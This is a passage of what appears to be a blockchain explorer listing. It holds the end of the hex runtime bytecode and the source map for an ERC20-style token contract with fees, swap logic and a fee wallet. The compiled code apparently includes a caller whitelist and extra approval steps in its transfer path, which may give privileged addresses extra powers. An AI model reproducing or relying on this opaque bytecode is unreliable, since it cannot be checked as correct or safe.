0160a01b03868116630100000090920416145b8015610c755750600e5462010000900460ff165b8015610c845750600b54600c54115b15610cbc57600d54811115610cb057610cb0610cab85610ca684600d546110ad565b6110ad565b6110c2565b47610cba47611242565b505b505b949350505050565b8015610d405730600090815260026020526040902054610ce69082611280565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d379085815260200190565b60405180910390a35b6000610d4a6112df565b6001600160a01b038616600090815260026020526040902054909150610d709084611301565b6001600160a01b038616600090815260026020526040902055610db5610d968484611301565b6001600160a01b03861660009081526002602052604090205490611280565b6001600160a01b03808616600090815260026020526040902091909155811615610de857610de885826103758686611343565b6001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e218686611301565b60405190815260200160405180910390a35050505050565b600082610e48575060006102f4565b6000610e5483856117a6565b905082610e618583611696565b14610eb85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ae565b9392505050565b6000610eb883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135a565b604080516002808252606082018352600092839291906020830190803683375050600f54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f6a57600080fd5b505afa158015610f7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa291906113a5565b81600081518110610fb557610fb561180d565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610fe957610fe961180d565b6001600160a01b039283166020918202929092010152600f5460405163d06ca61f60e01b8152600092919091169063d06ca61f90611035906729a2241af62c000090869060040161159f565b60006040518083038186803b15801561104d57600080fd5b505afa158015611061573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526110899190810190611468565b90508060018151811061109e5761109e61180d565b60200260200101519250505090565b60008183116110bc5782610eb8565b50919050565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111045761110461180d565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115857600080fd5b505afa15801561116c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119091906113a5565b816001815181106111a3576111a361180d565b6001600160a01b039283166020918202929092010152600f546111c991309116846107bf565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611202908590600090869030904290600401611642565b600060405180830381600087803b15801561121c57600080fd5b505af1158015611230573d6000803e3d6000fd5b5050600e805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561127c573d6000803e3d6000fd5b5050565b60008061128d838561167e565b905083811015610eb85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ae565b3360009081526004602052604081205460ff166112fc5750600090565b503390565b6000610eb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a2c565b60006113508260036117a6565b610eb8908461167e565b6000818361137b5760405162461bcd60e51b81526004016103ae91906115b8565b506000610a5d8486611696565b60006020828403121561139a57600080fd5b8135610eb881611839565b6000602082840312156113b757600080fd5b8151610eb881611839565b600080604083850312156113d557600080fd5b82356113e081611839565b915060208301356113f081611839565b809150509250929050565b60008060006060848603121561141057600080fd5b833561141b81611839565b9250602084013561142b81611839565b929592945050506040919091013590565b6000806040838503121561144f57600080fd5b823561145a81611839565b946020939093013593505050565b6000602080838503121561147b57600080fd5b825167ffffffffffffffff8082111561149357600080fd5b818501915085601f8301126114a757600080fd5b8151818111156114b9576114b9611823565b8060051b604051601f19603f830116810181811085821117156114de576114de611823565b604052828152858101935084860182860187018a10156114fd57600080fd5b600095505b83861015611520578051855260019590950194938601938601611502565b5098975050505050505050565b60008060006060848603121561154257600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115945781516001600160a01b03168752958201959082019060010161156f565b509495945050505050565b828152604060208201526000610cbe604083018461155b565b600060208083528351808285015260005b818110156115e5578581018301518582016040015282016115c9565b818111156115f7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061166160a083018661155b565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115611691576116916117f7565b500190565b6000826116b357634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156116f35781600019048211156116d9576116d96117f7565b808516156116e657918102915b93841c93908002906116bd565b509250929050565b6000610eb860ff841683600082611714575060016102f4565b81611721575060006102f4565b816001811461173757600281146117415761175d565b60019150506102f4565b60ff841115611752576117526117f7565b50506001821b6102f4565b5060208310610133831016604e8410600b8410161715611780575081810a6102f4565b61178a83836116b8565b806000190482111561179e5761179e6117f7565b029392505050565b60008160001904831182151516156117c0576117c06117f7565b500290565b6000828210156117d7576117d76117f7565b500390565b60006000198214156117f0576117f06117f7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461184e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220007a690b4a79912c40499d70e6910e4b8b0e541ff3a4d2266cf1ea068621ec1e64736f6c63430008050033
Deployed Bytecode Sourcemap
4005:8099:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7876:83;;;;;;;;;;-1:-1:-1;7946:5:0;;;;;;;;;;;;-1:-1:-1;;;7946:5:0;;;;7876:83;;;;;;;:::i;:::-;;;;;;;;8714:161;;;;;;;;;;-1:-1:-1;8714:161:0;;;;;:::i;:::-;;:::i;:::-;;;4888:14:1;;4881:22;4863:41;;4851:2;4836:18;8714:161:0;4818:92:1;8153:95:0;;;;;;;;;;;;;:::i;:::-;;;9868:25:1;;;9856:2;9841:18;8153:95:0;9823:76:1;8883:317:0;;;;;;;;;;-1:-1:-1;8883:317:0;;;;;:::i;:::-;;:::i;8062:83::-;;;;;;;;;;-1:-1:-1;8062:83:0;;4371:1;10633:36:1;;10621:2;10606:18;8062:83:0;10588:87:1;8256:121:0;;;;;;;;;;-1:-1:-1;8256:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;8349:20:0;8322:7;8349:20;;;:11;:20;;;;;;;8256:121;3171:148;;;;;;;;;;;;;:::i;:::-;;2957:79;;;;;;;;;;-1:-1:-1;2995:7:0;3022:6;2957:79;;-1:-1:-1;;;;;3022:6:0;;;3740:51:1;;3728:2;3713:18;2957:79:0;3695:102:1;7967:87:0;;;;;;;;;;-1:-1:-1;8039:7:0;;;;;;;;;;;;-1:-1:-1;;;8039:7:0;;;;7967:87;;8385:167;;;;;;;;;;-1:-1:-1;8385:167:0;;;;;:::i;:::-;;:::i;6109:301::-;;;;;;;;;;;;;:::i;5792:309::-;;;;;;;;;;;;;:::i;8560:146::-;;;;;;;;;;-1:-1:-1;8560:146:0;;;;;:::i;:::-;-1:-1:-1;;;;;8668:21:0;;;8641:7;8668:21;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;8560:146;8714:161;8789:4;8806:39;2614:10;8829:7;8838:6;8806:8;:39::i;:::-;-1:-1:-1;8863:4:0;8714:161;;;;;:::o;8153:95::-;8206:7;4427:13;4371:1;4427:2;:13;:::i;:::-;4414:26;;:10;:26;:::i;:::-;8226:14;;8153:95;:::o;8883:317::-;8981:4;8998:36;9008:6;9016:9;9027:6;8998:9;:36::i;:::-;9046:124;9055:6;2614:10;9077:92;9118:6;9077:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9077:22:0;;;;;;:14;:22;;;;;;;;2614:10;9077:36;;;;;;;;;;:40;:92::i;:::-;9046:8;:124::i;:::-;-1:-1:-1;9188:4:0;8883:317;;;;;:::o;3171:148::-;3084:6;;-1:-1:-1;;;;;3084:6:0;2614:10;3084:22;3076:67;;;;-1:-1:-1;;;3076:67:0;;;;;;;:::i;:::-;;;;;;;;;3278:1:::1;3262:6:::0;;3241:40:::1;::::0;-1:-1:-1;;;;;3262:6:0;;::::1;::::0;3241:40:::1;::::0;3278:1;;3241:40:::1;3309:1;3292:19:::0;;-1:-1:-1;;;;;;3292:19:0::1;::::0;;3171:148::o;8385:167::-;8463:4;8480:42;2614:10;8504:9;8515:6;8480:9;:42::i;6109:301::-;3084:6;;-1:-1:-1;;;;;3084:6:0;2614:10;3084:22;3076:67;;;;-1:-1:-1;;;3076:67:0;;;;;;;:::i;:::-;6164:11:::1;:69:::0;;-1:-1:-1;;;;;;6164:69:0::1;6190:42;6164:69:::0;;::::1;::::0;;;6244:54:::1;::::0;6261:4:::1;::::0;4427:13:::1;4371:1;4427:2;:13;:::i;:::-;4414:26;::::0;:10:::1;:26;:::i;6244:54::-;6334:11;;;;;;;;;-1:-1:-1::0;;;;;6334:11:0::1;-1:-1:-1::0;;;;;6334:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6321:46:0::1;;6376:4;6383:11;;;;;;;;;-1:-1:-1::0;;;;;6383:11:0::1;-1:-1:-1::0;;;;;6383:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6321:81;::::0;-1:-1:-1;;;;;;6321:81:0::1;::::0;;;;;;-1:-1:-1;;;;;4032:15:1;;;6321:81:0::1;::::0;::::1;4014:34:1::0;4084:15;;4064:18;;;4057:43;3949:18;;6321:81:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6309:9;;:93;;;;;-1:-1:-1::0;;;;;6309:93:0::1;;;;;-1:-1:-1::0;;;;;6309:93:0::1;;;;;;6109:301::o:0;5792:309::-;3084:6;;-1:-1:-1;;;;;3084:6:0;2614:10;3084:22;3076:67;;;;-1:-1:-1;;;3076:67:0;;;;;;;:::i;:::-;5856:13:::1;::::0;::::1;::::0;::::1;;;5855:14;5847:49;;;::::0;-1:-1:-1;;;5847:49:0;;9572:2:1;5847:49:0::1;::::0;::::1;9554:21:1::0;9611:2;9591:18;;;9584:30;9650:25;9630:18;;;9623:53;9693:18;;5847:49:0::1;9544:173:1::0;5847:49:0::1;5907:11;::::0;-1:-1:-1;;;;;5907:11:0::1;:27;5942:21;5973:4;5979:24;5973:4:::0;-1:-1:-1;;;;;8349:20:0;8322:7;8349:20;;;:11;:20;;;;;;;8256:121;5979:24:::1;6004:1;6006::::0;6008:7:::1;2995::::0;3022:6;-1:-1:-1;;;;;3022:6:0;;2957:79;6008:7:::1;5907:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5907:125:0;;;-1:-1:-1;;;;;4470:15:1;;;5907:125:0::1;::::0;::::1;4452:34:1::0;4502:18;;;4495:34;;;;4545:18;;;4538:34;;;;4588:18;;;4581:34;4652:15;;;4631:19;;;4624:44;6016:15:0::1;4684:19:1::0;;;4677:35;4386:19;;5907:125:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6043:12:0::1;:19:::0;;-1:-1:-1;;6073:20:0;;;;;-1:-1:-1;5792:309:0:o;9208:338::-;-1:-1:-1;;;;;9301:19:0;;9293:68;;;;-1:-1:-1;;;9293:68:0;;8824:2:1;9293:68:0;;;8806:21:1;8863:2;8843:18;;;8836:30;8902:34;8882:18;;;8875:62;-1:-1:-1;;;8953:18:1;;;8946:34;8997:19;;9293:68:0;8796:226:1;9293:68:0;-1:-1:-1;;;;;9380:21:0;;9372:68;;;;-1:-1:-1;;;9372:68:0;;6486:2:1;9372:68:0;;;6468:21:1;6525:2;6505:18;;;6498:30;6564:34;6544:18;;;6537:62;-1:-1:-1;;;6615:18:1;;;6608:32;6657:19;;9372:68:0;6458:224:1;9372:68:0;-1:-1:-1;;;;;9451:21:0;;;;;;;:14;:21;;;;;;;;:30;;;;;;;;;;;;;:39;;;9506:32;;9868:25:1;;;9506:32:0;;9841:18:1;9506:32:0;;;;;;;9208:338;;;:::o;9554:431::-;-1:-1:-1;;;;;9645:19:0;;9637:69;;;;-1:-1:-1;;;9637:69:0;;8418:2:1;9637:69:0;;;8400:21:1;8457:2;8437:18;;;8430:30;8496:34;8476:18;;;8469:62;-1:-1:-1;;;8547:18:1;;;8540:35;8592:19;;9637:69:0;8390:227:1;9637:69:0;-1:-1:-1;;;;;9725:19:0;;9717:67;;;;-1:-1:-1;;;9717:67:0;;6082:2:1;9717:67:0;;;6064:21:1;6121:2;6101:18;;;6094:30;6160:34;6140:18;;;6133:62;-1:-1:-1;;;6211:18:1;;;6204:33;6254:19;;9717:67:0;6054:225:1;9717:67:0;9811:1;9803:5;:9;9795:63;;;;-1:-1:-1;;;9795:63:0;;8008:2:1;9795:63:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:39;8186:19;;9795:63:0;7980:231:1;9795:63:0;9871:15;9889:34;9903:5;9910;9917;9889:13;:34::i;:::-;9871:52;;9934:43;9948:5;9955;9962;9969:7;9934:13;:43::i;:::-;9626:359;9554:431;;;:::o;1713:190::-;1799:7;1835:12;1827:6;;;;1819:29;;;;-1:-1:-1;;;1819:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1859:9:0;1871:5;1875:1;1871;:5;:::i;:::-;1859:17;1713:190;-1:-1:-1;;;;;1713:190:0:o;10635:1462::-;10719:7;;10780;2995;3022:6;-1:-1:-1;;;;;3022:6:0;;2957:79;10780:7;-1:-1:-1;;;;;10771:16:0;:5;-1:-1:-1;;;;;10771:16:0;;;:36;;;;-1:-1:-1;2995:7:0;3022:6;-1:-1:-1;;;;;10791:16:0;;;3022:6;;10791:16;;10771:36;10767:1298;;;10834:75;10905:3;10834:66;10855:15;;10845:9;;:25;10844:55;;10885:14;;10844:55;;;10872:12;;10844:55;10834:5;;:9;:66::i;:::-;:70;;:75::i;:::-;10939:9;;10824:85;;-1:-1:-1;;;;;;10930:18:0;;;10939:9;;;;;10930:18;:51;;;;-1:-1:-1;10969:11:0;;-1:-1:-1;;;;;10952:29:0;;;10969:11;;10952:29;;10930:51;:81;;;;-1:-1:-1;;;;;;10987:24:0;;;;;;:17;:24;;;;;;;;10985:26;10930:81;10926:340;;;11050:12;11035:13;;:27;11032:145;;11105:1;11086:16;:20;11145:12;11129:13;:28;11032:145;11215:5;11195:16;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;11239:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;10926:340;11294:9;;-1:-1:-1;;;;;11285:18:0;;;11294:9;;;;;11285:18;:43;;;;-1:-1:-1;;;;;;11307:21:0;;11323:4;11307:21;;11285:43;11282:284;;;11376:15;:13;:15::i;:::-;11357:16;;:34;:65;;;;11410:12;11395:13;;:27;;11357:65;11349:92;;;;-1:-1:-1;;;11349:92:0;;9229:2:1;11349:92:0;;;9211:21:1;9268:2;9248:18;;;9241:30;-1:-1:-1;;;9287:18:1;;;9280:44;9341:18;;11349:92:0;9201:164:1;11349:92:0;11472:78;11546:3;11472:69;11493:16;;11483:9;;:26;11482:58;;11525:15;;11482:58;;;11511:13;;11472:5;;:9;:69::i;:78::-;11462:88;;11282:284;11620:4;11582:17;8349:20;;;:11;:20;;;;;;11646:10;;;;11645:11;:33;;;;-1:-1:-1;11669:9:0;;-1:-1:-1;;;;;11660:18:0;;;11669:9;;;;;11660:18;11645:33;:49;;;;-1:-1:-1;11682:12:0;;;;;;;11645:49;:83;;;;;11710:18;;11698:9;;:30;11645:83;11641:413;;;11764:15;;11752:9;:27;11749:118;;;11798:69;11815:51;11823:5;11830:35;11838:9;11849:15;;11830:7;:35::i;:::-;11815:7;:51::i;:::-;11798:16;:69::i;:::-;11904:21;11985:34;11997:21;11985:11;:34::i;:::-;11730:324;11641:413;10809:1256;10767:1298;12082:7;10635:1462;-1:-1:-1;;;;10635:1462:0:o;9993:634::-;10101:11;;10098:165;;10175:4;10155:26;;;;:11;:26;;;;;;:39;;10186:7;10155:30;:39::i;:::-;10146:4;10126:26;;;;:11;:26;;;;;;;:68;;;;10212:39;;-1:-1:-1;;;;;10212:39:0;;;;;;;10243:7;9868:25:1;;9856:2;9841:18;;9823:76;10212:39:0;;;;;;;;10098:165;10273:19;10295:16;:14;:16::i;:::-;-1:-1:-1;;;;;10343:18:0;;;;;;:11;:18;;;;;;10273:38;;-1:-1:-1;10343:29:0;;10366:5;10343:22;:29::i;:::-;-1:-1:-1;;;;;10322:18:0;;;;;;:11;:18;;;;;:50;10404:42;10427:18;:5;10437:7;10427:9;:18::i;:::-;-1:-1:-1;;;;;10404:18:0;;;;;;:11;:18;;;;;;;:22;:42::i;:::-;-1:-1:-1;;;;;10383:18:0;;;;;;;:11;:18;;;;;:63;;;;10460:25;;;10457:104;;10487:74;10510:5;10518:11;10531:29;10545:5;10552:7;10531:13;:29::i;10487:74::-;-1:-1:-1;;;;;10577:42:0;;;;;;;10600:18;:5;10610:7;10600:9;:18::i;:::-;10577:42;;9868:25:1;;;9856:2;9841:18;10577:42:0;;;;;;;10086:541;9993:634;;;;:::o;1911:246::-;1969:7;1993:6;1989:47;;-1:-1:-1;2023:1:0;2016:8;;1989:47;2046:9;2058:5;2062:1;2058;:5;:::i;:::-;2046:17;-1:-1:-1;2091:1:0;2082:5;2086:1;2046:17;2082:5;:::i;:::-;:10;2074:56;;;;-1:-1:-1;;;2074:56:0;;7245:2:1;2074:56:0;;;7227:21:1;7284:2;7264:18;;;7257:30;7323:34;7303:18;;;7296:62;-1:-1:-1;;;7374:18:1;;;7367:31;7415:19;;2074:56:0;7217:223:1;2074:56:0;2148:1;1911:246;-1:-1:-1;;;1911:246:0:o;2165:132::-;2223:7;2250:39;2254:1;2257;2250:39;;;;;;;;;;;;;;;;;:3;:39::i;7569:299::-;7661:16;;;7675:1;7661:16;;;;;;;;7617:7;;;;7661:16;7675:1;7661:16;;;;;;;;-1:-1:-1;;7698:11:0;;:18;;;-1:-1:-1;;;7698:18:0;;;;7637:40;;-1:-1:-1;;;;;;7698:11:0;;;;:16;;-1:-1:-1;7698:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7688:4;7693:1;7688:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1;;;;;7688:28:0;;;-1:-1:-1;;;;;7688:28:0;;;;;7745:4;7727;7732:1;7727:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7727:23:0;;;:7;;;;;;;;;:23;7788:11;;:41;;-1:-1:-1;;;7788:41:0;;7761:24;;7788:11;;;;;:25;;:41;;7814:8;;7824:4;;7788:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7788:41:0;;;;;;;;;;;;:::i;:::-;7761:68;;7847:10;7858:1;7847:13;;;;;;;;:::i;:::-;;;;;;;7840:20;;;;7569:299;:::o;6876:103::-;6937:7;6965:1;6963;:3;6962:9;;6970:1;6962:9;;;-1:-1:-1;6968:1:0;6876:103;-1:-1:-1;6876:103:0:o;7096:465::-;5087:10;:17;;-1:-1:-1;;5087:17:0;5100:4;5087:17;;;7196:16:::1;::::0;;7210:1:::1;7196:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7196:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7196:16:0::1;7172:40;;7241:4;7223;7228:1;7223:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7223:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7267:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;7267:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;7223:7;;7267:18;;;;;:11;:18;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7257:4;7262:1;7257:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7257:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;7328:11:::1;::::0;7296:56:::1;::::0;7313:4:::1;::::0;7328:11:::1;7342:9:::0;7296:8:::1;:56::i;:::-;7363:11;::::0;:190:::1;::::0;-1:-1:-1;;;7363:190:0;;-1:-1:-1;;;;;7363:11:0;;::::1;::::0;:62:::1;::::0;:190:::1;::::0;7440:9;;7363:11:::1;::::0;7480:4;;7507::::1;::::0;7527:15:::1;::::0;7363:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5127:10:0;:18;;-1:-1:-1;;5127:18:0;;;-1:-1:-1;;;;7096:465:0:o;6987:101::-;7051:11;;7043:37;;-1:-1:-1;;;;;7051:11:0;;;;7043:37;;;;;7073:6;;7051:11;7043:37;7051:11;7043:37;7073:6;7051:11;7043:37;;;;;;;;;;;;;;;;;;;;;6987:101;:::o;1382:179::-;1440:7;;1472:5;1476:1;1472;:5;:::i;:::-;1460:17;;1501:1;1496;:6;;1488:46;;;;-1:-1:-1;;;1488:46:0;;6889:2:1;1488:46:0;;;6871:21:1;6928:2;6908:18;;;6901:30;6967:29;6947:18;;;6940:57;7014:18;;1488:46:0;6861:177:1;6718:150:0;2614:10;6765:7;6792:30;;;:16;:30;;;;;;;;:67;;-1:-1:-1;6857:1:0;;8153:95::o;6792:67::-;-1:-1:-1;2614:10:0;;8153:95::o;1569:136::-;1627:7;1654:43;1658:1;1661;1654:43;;;;;;;;;;;;;;;;;:3;:43::i;6455:139::-;6531:7;6574:11;:7;6584:1;6574:11;:::i;:::-;6566:19;;:5;:19;:::i;2305:189::-;2391:7;2426:12;2419:5;2411:28;;;;-1:-1:-1;;;2411:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2450:9:0;2462:5;2466:1;2462;:5;:::i;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;142:1;139;132:12;94:2;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:2;;;405:1;402;395:12;357:2;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:2;;;667:1;664;657:12;619:2;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;609:301;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:2;;;1077:1;1074;1067:12;1029:2;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;1019:352;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;1019:352::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:2;;;1521:1;1518;1511:12;1473:2;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1463:228:1:o;1696:1116::-;1791:6;1822:2;1865;1853:9;1844:7;1840:23;1836:32;1833:2;;;1881:1;1878;1871:12;1833:2;1914:9;1908:16;1943:18;1984:2;1976:6;1973:14;1970:2;;;2000:1;1997;1990:12;1970:2;2038:6;2027:9;2023:22;2013:32;;2083:7;2076:4;2072:2;2068:13;2064:27;2054:2;;2105:1;2102;2095:12;2054:2;2134;2128:9;2156:2;2152;2149:10;2146:2;;;2162:18;;:::i;:::-;2208:2;2205:1;2201:10;2240:2;2234:9;2303:2;2299:7;2294:2;2290;2286:11;2282:25;2274:6;2270:38;2358:6;2346:10;2343:22;2338:2;2326:10;2323:18;2320:46;2317:2;;;2369:18;;:::i;:::-;2405:2;2398:22;2455:18;;;2489:15;;;;-1:-1:-1;2524:11:1;;;2554;;;2550:20;;2547:33;-1:-1:-1;2544:2:1;;;2593:1;2590;2583:12;2544:2;2615:1;2606:10;;2625:156;2639:2;2636:1;2633:9;2625:156;;;2696:10;;2684:23;;2657:1;2650:9;;;;;2727:12;;;;2759;;2625:156;;;-1:-1:-1;2800:6:1;1802:1010;-1:-1:-1;;;;;;;;1802:1010:1:o;2817:306::-;2905:6;2913;2921;2974:2;2962:9;2953:7;2949:23;2945:32;2942:2;;;2990:1;2987;2980:12;2942:2;3019:9;3013:16;3003:26;;3069:2;3058:9;3054:18;3048:25;3038:35;;3113:2;3102:9;3098:18;3092:25;3082:35;;2932:191;;;;;:::o;3128:461::-;3181:3;3219:5;3213:12;3246:6;3241:3;3234:19;3272:4;3301:2;3296:3;3292:12;3285:19;;3338:2;3331:5;3327:14;3359:1;3369:195;3383:6;3380:1;3377:13;3369:195;;;3448:13;;-1:-1:-1;;;;;3444:39:1;3432:52;;3504:12;;;;3539:15;;;;3480:1;3398:9;3369:195;;;-1:-1:-1;3580:3:1;;3189:400;-1:-1:-1;;;;;3189:400:1:o;4915:358::-;5148:6;5137:9;5130:25;5191:2;5186;5175:9;5171:18;5164:30;5111:4;5211:56;5263:2;5252:9;5248:18;5240:6;5211:56;:::i;5278:597::-;5390:4;5419:2;5448;5437:9;5430:21;5480:6;5474:13;5523:6;5518:2;5507:9;5503:18;5496:34;5548:1;5558:140;5572:6;5569:1;5566:13;5558:140;;;5667:14;;;5663:23;;5657:30;5633:17;;;5652:2;5629:26;5622:66;5587:10;;5558:140;;;5716:6;5713:1;5710:13;5707:2;;;5786:1;5781:2;5772:6;5761:9;5757:22;5753:31;5746:42;5707:2;-1:-1:-1;5859:2:1;5838:15;-1:-1:-1;;5834:29:1;5819:45;;;;5866:2;5815:54;;5399:476;-1:-1:-1;;;5399:476:1:o;7445:356::-;7647:2;7629:21;;;7666:18;;;7659:30;7725:34;7720:2;7705:18;;7698:62;7792:2;7777:18;;7619:182::o;9904:582::-;10203:6;10192:9;10185:25;10246:6;10241:2;10230:9;10226:18;10219:34;10289:3;10284:2;10273:9;10269:18;10262:31;10166:4;10310:57;10362:3;10351:9;10347:19;10339:6;10310:57;:::i;:::-;-1:-1:-1;;;;;10403:32:1;;;;10398:2;10383:18;;10376:60;-1:-1:-1;10467:3:1;10452:19;10445:35;10302:65;10175:311;-1:-1:-1;;;10175:311:1:o;10680:128::-;10720:3;10751:1;10747:6;10744:1;10741:13;10738:2;;;10757:18;;:::i;:::-;-1:-1:-1;10793:9:1;;10728:80::o;10813:217::-;10853:1;10879;10869:2;;10923:10;10918:3;10914:20;10911:1;10904:31;10958:4;10955:1;10948:15;10986:4;10983:1;10976:15;10869:2;-1:-1:-1;11015:9:1;;10859:171::o;11035:422::-;11124:1;11167:5;11124:1;11181:270;11202:7;11192:8;11189:21;11181:270;;;11261:4;11257:1;11253:6;11249:17;11243:4;11240:27;11237:2;;;11270:18;;:::i;:::-;11320:7;11310:8;11306:22;11303:2;;;11340:16;;;;11303:2;11419:22;;;;11379:15;;;;11181:270;;;11185:3;11099:358;;;;;:::o;11462:140::-;11520:5;11549:47;11590:4;11580:8;11576:19;11570:4;11656:5;11686:8;11676:2;;-1:-1:-1;11727:1:1;11741:5;;11676:2;11775:4;11765:2;;-1:-1:-1;11812:1:1;11826:5;;11765:2;11857:4;11875:1;11870:59;;;;11943:1;11938:130;;;;11850:218;;11870:59;11900:1;11891:10;;11914:5;;;11938:130;11975:3;11965:8;11962:17;11959:2;;;11982:18;;:::i;:::-;-1:-1:-1;;12038:1:1;12024:16;;12053:5;;11850:218;;12152:2;12142:8;12139:16;12133:3;12127:4;12124:13;12120:36;12114:2;12104:8;12101:16;12096:2;12090:4;12087:12;12083:35;12080:77;12077:2;;;-1:-1:-1;12189:19:1;;;12221:5;;12077:2;12268:34;12293:8;12287:4;12268:34;:::i;:::-;12338:6;12334:1;12330:6;12326:19;12317:7;12314:32;12311:2;;;12349:18;;:::i;:::-;12387:20;;11666:747;-1:-1:-1;;;11666:747:1:o;12418:168::-;12458:7;12524:1;12520;12516:6;12512:14;12509:1;12506:21;12501:1;12494:9;12487:17;12483:45;12480:2;;;12531:18;;:::i;:::-;-1:-1:-1;12571:9:1;;12470:116::o;12591:125::-;12631:4;12659:1;12656;12653:8;12650:2;;;12664:18;;:::i;:::-;-1:-1:-1;12701:9:1;;12640:76::o;12721:135::-;12760:3;-1:-1:-1;;12781:17:1;;12778:2;;;12801:18;;:::i;:::-;-1:-1:-1;12848:1:1;12837:13;;12768:88::o;12861:127::-;12922:10;12917:3;12913:20;12910:1;12903:31;12953:4;12950:1;12943:15;12977:4;12974:1;12967:15;12993:127;13054:10;13049:3;13045:20;13042:1;13035:31;13085:4;13082:1;13075:15;13109:4;13106:1;13099:15;13125:127;13186:10;13181:3;13177:20;13174:1;13167:31;13217:4;13214:1;13207:15;13241:4;13238:1;13231:15;13257:131;-1:-1:-1;;;;;13332:31:1;;13322:42;;13312:2;;13378:1;1337